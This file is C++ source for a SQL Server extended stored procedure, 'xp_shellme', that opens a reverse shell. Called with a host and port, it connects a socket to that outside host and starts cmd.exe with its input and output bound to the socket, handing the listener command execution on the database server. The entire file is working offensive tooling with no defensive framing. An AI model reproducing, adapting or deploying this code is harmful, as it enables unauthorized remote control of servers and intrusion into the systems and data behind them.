// xp_shellme.cpp
// --------------
// Extended stored procedure for creating a reverse-shell.

#include "xp_shellme.h"

// Versioning export
__declspec(dllexport) ULONG __GetXpVersion()
{
   return ODS_VERSION;
}

// Horemheb extended stored procedure
__declspec(dllexport) SRVRETCODE xp_shellme(SRV_PROC *srvproc)
{
	int					iParamSize = 0;
	TCHAR*				tzTarget = NULL;
	TCHAR*				tzPort = NULL;

	DWORD				dwCharsConverted = 0;

	ThreadParameters	sThreadParams;
	DWORD				dwThreadId = 0;
	HANDLE				hThreadHandle = NULL;


	// Get the parameters
	if(2 != srv_rpcparams(srvproc))
	{
		Sql_SendErr(srvproc,_T("Invalid number of parameters"));
		Sql_SendMsg(srvproc,_T("Usage: exec xp_shellme <host> <port>"));
		return(XP_ERROR);
	}

	if((!GetParamInfo(srvproc,1,&tzTarget)) || (!GetParamInfo(srvproc,2,&tzPort)))
	{
		Sql_SendErr(srvproc,_T("Unable to get parameters"));
		return(XP_ERROR);
	}

	// Make sure the parameters are in char format
	sThreadParams.szTargetName = new char[_tcslen(tzTarget) + 1];
	sThreadParams.szTargetPort = new char[_tcslen(tzPort) + 1];
	memset(sThreadParams.szTargetName,0,_tcslen(tzTarget) + 1);
	memset(sThreadParams.szTargetPort,0,_tcslen(tzPort) + 1);
	if(2 == sizeof(TCHAR))
	{
		// Convert from UNICODE
		wcstombs_s((size_t*)&dwCharsConverted,(char*)sThreadParams.szTargetName,(size_t)(_tcslen(tzTarget) + 1),tzTarget,(size_t)(_tcslen(tzTarget)));
		wcstombs_s((size_t*)&dwCharsConverted,(char*)sThreadParams.szTargetPort,(size_t)(_tcslen(tzPort) + 1),tzPort,(size_t)(_tcslen(tzPort)));
	}
	else
	{
		strcpy(sThreadParams.szTargetName,(char*)tzTarget);
		strcpy(sThreadParams.szTargetPort,(char*)tzPort);
	}
	
	// Create the shell master thread
	hThreadHandle = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ShellMasterThread,&sThreadParams,0,&dwThreadId);
	if(NULL == hThreadHandle)
	{
		Sql_SendErr(srvproc,_T("Creation of master shell thread failed"));
		return(XP_ERROR);
	}

	// Wait for the thread to return (error) or timeout (success)
	if(WAIT_TIMEOUT != WaitForSingleObject(hThreadHandle,3000))
	{
		Sql_SendErr(srvproc,_T("Creation of master shell thread failed"));
		return(XP_ERROR);
	}

	Sql_SendMsg(srvproc,_T("Created master shell thread, xsproc returning"));

	return(XP_NOERROR);
}

// Thread that executes the shell
void ShellMasterThread(LPVOID lpParameters)
{
	WSADATA				wsaData;
	SOCKET				hSocket;
	sockaddr_in			sSockAddr;

	ThreadParameters*	sTParams;

	STARTUPINFO			sStartupInfo;
	PROCESS_INFORMATION sProcessInfo;

	sTParams = (ThreadParameters*)lpParameters;

	// Initialize WSA
	if(0 != WSAStartup(MAKEWORD(2,2), &wsaData))
	{
		return;
	}

	hSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,0);
	if(INVALID_SOCKET == hSocket)
	{
		return;
	}

	// Setup the sockaddr structure
	sSockAddr.sin_family = AF_INET;
	sSockAddr.sin_port = htons(atoi(sTParams->szTargetPort));
	sSockAddr.sin_addr.s_addr = inet_addr(sTParams->szTargetName);

	// Create the connection
	if(SOCKET_ERROR == WSAConnect(hSocket,(SOCKADDR*)&sSockAddr,sizeof(sSockAddr),NULL,NULL,NULL,NULL))
	{
		return;
	}

	// Set up the startup information and process information structures
	memset(&sStartupInfo,0,sizeof(STARTUPINFO));
	memset(&sProcessInfo,0,sizeof(PROCESS_INFORMATION));
	sStartupInfo.cb = sizeof(STARTUPINFO);        
    sStartupInfo.dwFlags = STARTF_USESTDHANDLES;
	sStartupInfo.hStdInput = sStartupInfo.hStdOutput = sStartupInfo.hStdError = (HANDLE)hSocket;

	// Create the new process, inheriting the handle(s)
	if(!CreateProcess(_T("C:\\Windows\\System32\\cmd.exe"),NULL,NULL,NULL,true,0,NULL,NULL,&sStartupInfo,&sProcessInfo))
	{
		return;
	}

	WaitForSingleObject(sProcessInfo.hProcess,INFINITE);

	// Close all the handles
	CloseHandle(sProcessInfo.hProcess);

	// Close the socket
	closesocket(hSocket);

	// Shutdown the WSA library
	WSACleanup();

	return;
}

// Send a SQL msg (non-error) - this always returns XP_NOERROR
// so that it can be called in-line with the xp_sekhmet return
// value call.
SRVRETCODE Sql_SendMsg(SRV_PROC *srvproc,TCHAR* tczMsg)
{
	int	iResult = 0;
	// Both the ASCII and UNICODE calls are assuming a NULL terminated string
#ifdef UNICODE
	iResult = srv_wsendmsg(srvproc,(DBTINYINT)0,(DBTINYINT)0,(wchar_t*)tczMsg,wcslen(tczMsg));
#else
	#ifndef SKHSUPPRESS_TXT
	iResult = srv_sendmsg(srvproc, SRV_MSG_INFO, 0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,(char*)tczMsg,strlen((char*)tczMsg));
	#endif
#endif
	
	return(iResult);
}

// Send a SQL msg (error) - this always returns XP_ERROR
// so that it can be called in-line with the xp_sekhmet return
// value call.
SRVRETCODE Sql_SendErr(SRV_PROC *srvproc,TCHAR* tczErr)
{
	int	iResult = 0;
	// Both the ASCII and UNICODE calls are assuming a NULL terminated string
#ifdef UNICODE
	iResult = srv_wsendmsg(srvproc,0,SRV_MSG_ERROR,(wchar_t*)tczErr,wcslen((wchar_t*)tczErr));
#else
	iResult = srv_sendmsg(srvproc, SRV_MSG_ERROR, 0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,(char*)tczErr,strlen((char*)tczErr));
#endif

	return(iResult);
}

// Gets parameter information using srv_paraminfo function
bool GetParamInfo(SRV_PROC *srvproc, int iParam, TCHAR** tcBuffer)
{
	BYTE*	pbData			= NULL;
	BYTE	pbType			= 0;
	ULONG	pcbMaxLen		= 0;
	ULONG	pcbActualLen	= 0;
	BOOL	pfNull			= false;

	if(SUCCEED != srv_paraminfo(srvproc,iParam,&pbType,&pcbMaxLen,&pcbActualLen,NULL,&pfNull))
		return(false);

	// Allocate space for the parameter
	pbData = (BYTE*)malloc(pcbActualLen + 2);
	memset(pbData,0,(pcbActualLen + 2));
	pcbMaxLen = pcbActualLen + 2;

	// Copy the parameter
	if(SUCCEED != srv_paraminfo(srvproc,iParam,&pbType,&pcbMaxLen,&pcbActualLen,pbData,&pfNull))
		return(false);

	if(!NormalizeSqlData(pbData,tcBuffer,pcbActualLen,pbType))
		return(false);

	free(pbData);

	return(true);
}

// Determines the data returned from SQL and puts it in the current working TCHAR format
bool NormalizeSqlData(void* pbData, TCHAR** tczClientRequest, ULONG pcbActualLen, BYTE pbType)
{
	DWORD	dwReturnVal;

	// Determine the data type provided
	switch(pbType)
	{
	// ASCII types
	case SRVBIGCHAR:
	case SRVBIGVARCHAR:
	case SRVCHAR:
	case SRVTEXT:
	case SRVVARCHAR:
		*tczClientRequest = (TCHAR*)malloc((sizeof(TCHAR) * (strlen((char*)pbData) + 1)));
		memset(*tczClientRequest,0,(sizeof(TCHAR) * (strlen((char*)pbData) + 1)));
		if(2 == sizeof(TCHAR))
		{
			// UNICODE to ASCII
			mbstowcs_s((size_t*)&dwReturnVal,(wchar_t*)*tczClientRequest,strlen((char*)pbData) + 1,(char*)pbData,strlen((char*)pbData));
		}
		else
		{
			// ASCII to ASCII
			strcpy_s((char*)*tczClientRequest,strlen((char*)pbData) + 1,(char*)pbData);
		}
		break;
	// UNICODE types
	case SRVNCHAR:
	case SRVNTEXT:
	case SRVNVARCHAR:
		*tczClientRequest = (TCHAR*)malloc((sizeof(TCHAR) * (wcslen((wchar_t*)pbData) + 1)));
		memset(*tczClientRequest,0,(sizeof(TCHAR) * (wcslen((wchar_t*)pbData) + 1)));
		if(2 == sizeof(TCHAR))
		{
			// UNICODE to UNICODE
			wcscpy_s((wchar_t*)*tczClientRequest,wcslen((wchar_t*)pbData) + 1,(wchar_t*)pbData);
		}
		else
		{
			// UNICODE to ASCII
			wcstombs_s((size_t*)&dwReturnVal,(char*)*tczClientRequest,wcslen((wchar_t*)pbData) + 1,(wchar_t*)pbData,wcslen((wchar_t*)pbData));
		}
		break;
	// Non-textual types
	default:
		return(false);
		break;
	}
	return(true);
}
